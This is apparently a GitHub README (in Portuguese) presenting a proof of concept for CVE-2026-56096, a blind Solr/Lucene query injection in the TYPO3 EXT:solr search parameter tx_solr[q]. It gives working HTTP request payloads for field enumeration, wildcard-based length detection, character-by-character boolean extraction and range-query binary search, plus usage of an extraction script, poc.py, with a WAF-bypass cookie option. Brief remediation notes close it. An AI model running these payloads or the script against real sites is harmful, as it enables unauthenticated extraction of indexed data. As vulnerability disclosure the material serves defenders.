yairhinkis/cve-2026-56096Prova de conceito e análise técnica para CVE-2026-56096, uma injeção cega de consulta Solr no TYPO3 EXT:solr que permite enumeração de campos e extração de dados sem autenticação.
Uma vulnerabilidade de segurança arquitetural foi descoberta na extensão oficial do Apache Solr para TYPO3 (EXT:solr / apache-solr-for-typo3/solr). O problema permite que atacantes remotos não autenticados injetem sintaxe arbitrária de consulta Solr/Lucene por meio do parâmetro de busca tx_solr[q], possibilitando a enumeração cega não autorizada de campos e a extração completa de metadados do índice de busca.
EXT:solr (Parâmetro de busca: tx_solr[q])CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:NA extensão EXT:solr aceita termos de busca fornecidos pelo usuário por meio do parâmetro tx_solr[q] e os encaminha ao motor Apache Solr. Por design, a extensão permite operadores de consulta específicos—como curingas (*), curingas de caractere único (?), seletores de campo (:) e consultas de intervalo ([a TO z])—para suportar funcionalidades legítimas como filtragem facetada.
Como esses caracteres eram passados diretamente à construção da consulta no backend sem uma lista de permissões restritiva ou uma camada de abstração de consulta, um atacante pode fornecer sintaxe específica de campo para escapar dos limites de busca pretendidos. Isso permite que usuários não autenticados consultem campos internos do Solr diretamente e extraiam dados do índice usando técnicas cegas baseadas em booleanos.
field:*Ao anexar um curinga a um nome de campo arbitrário ou suposto, um atacante pode verificar se o campo existe no schema:
GET /search?tx_solr[q]=siteHash:* HTTP/1.1
Host: target.example.com
Se o campo existir, o Solr processa a consulta em todos os registros correspondentes (frequentemente acionando códigos de resposta distintos ou comportamentos relacionados ao volume), permitindo a enumeração automatizada de campos com base em wordlists.
Atacantes podem extrair valores sensíveis de campos caractere por caractere usando inferência booleana:
GET /search?tx_solr[q]=siteHash:a* HTTP/1.1 --> Returns search hits (Value begins with 'a')
GET /search?tx_solr[q]=siteHash:b* HTTP/1.1 --> "Nothing found" (Value does not begin with 'b')
?O operador curinga de caractere único (?) pode determinar o comprimento exato de uma string armazenada antes de iniciar a iteração de caracteres:
GET /search?tx_solr[q]=siteHash:????????????* HTTP/1.1 (Checks for 12+ characters)
GET /search?tx_solr[q]=siteHash:?????????????* HTTP/1.1 (Checks for 13+ characters)
[a TO z])As consultas de intervalo permitem a extração por busca binária no caractere inicial, reduzindo as requisições necessárias de 26 para ~5 por posição de caractere:
GET /search?tx_solr[q]=siteHash:[a TO m] HTTP/1.1 --> Determines if character falls within 'a'-'m'
GET /search?tx_solr[q]=siteHash:[n TO z] HTTP/1.1 --> Determines if character falls within 'n'-'z'
A combinação de detecção de comprimento, consultas de intervalo e curingas de prefixo permite a extração completa do campo com um footprint mínimo de requisições.
Um script de verificação automatizado (poc.py) é fornecido para demonstrar a extração cega usando as técnicas descritas acima.
python3 poc.py -u "https://target.example.com/?L=0&id=1" -f "someField"
-u, --url: URL de destino apontando para o endpoint de busca do TYPO3.
-f, --field: Nome do campo do schema a enumerar/extrair (por exemplo, appKey, siteHash).
-c, --cookies: (Opcional) Cookies de sessão caso seja necessária autenticação/verificação de bypass de WAF.
-o, --output: Arquivo de saída para armazenar os prefixos descobertos (padrão: validated_fields.txt).
EXT:solr.O escape global de caracteres é insuficiente porque operadores como * e : atendem a funcionalidades de busca previstas. A remediação exige um modelo de whitelist e parsing na camada de aplicação:
[email protected]).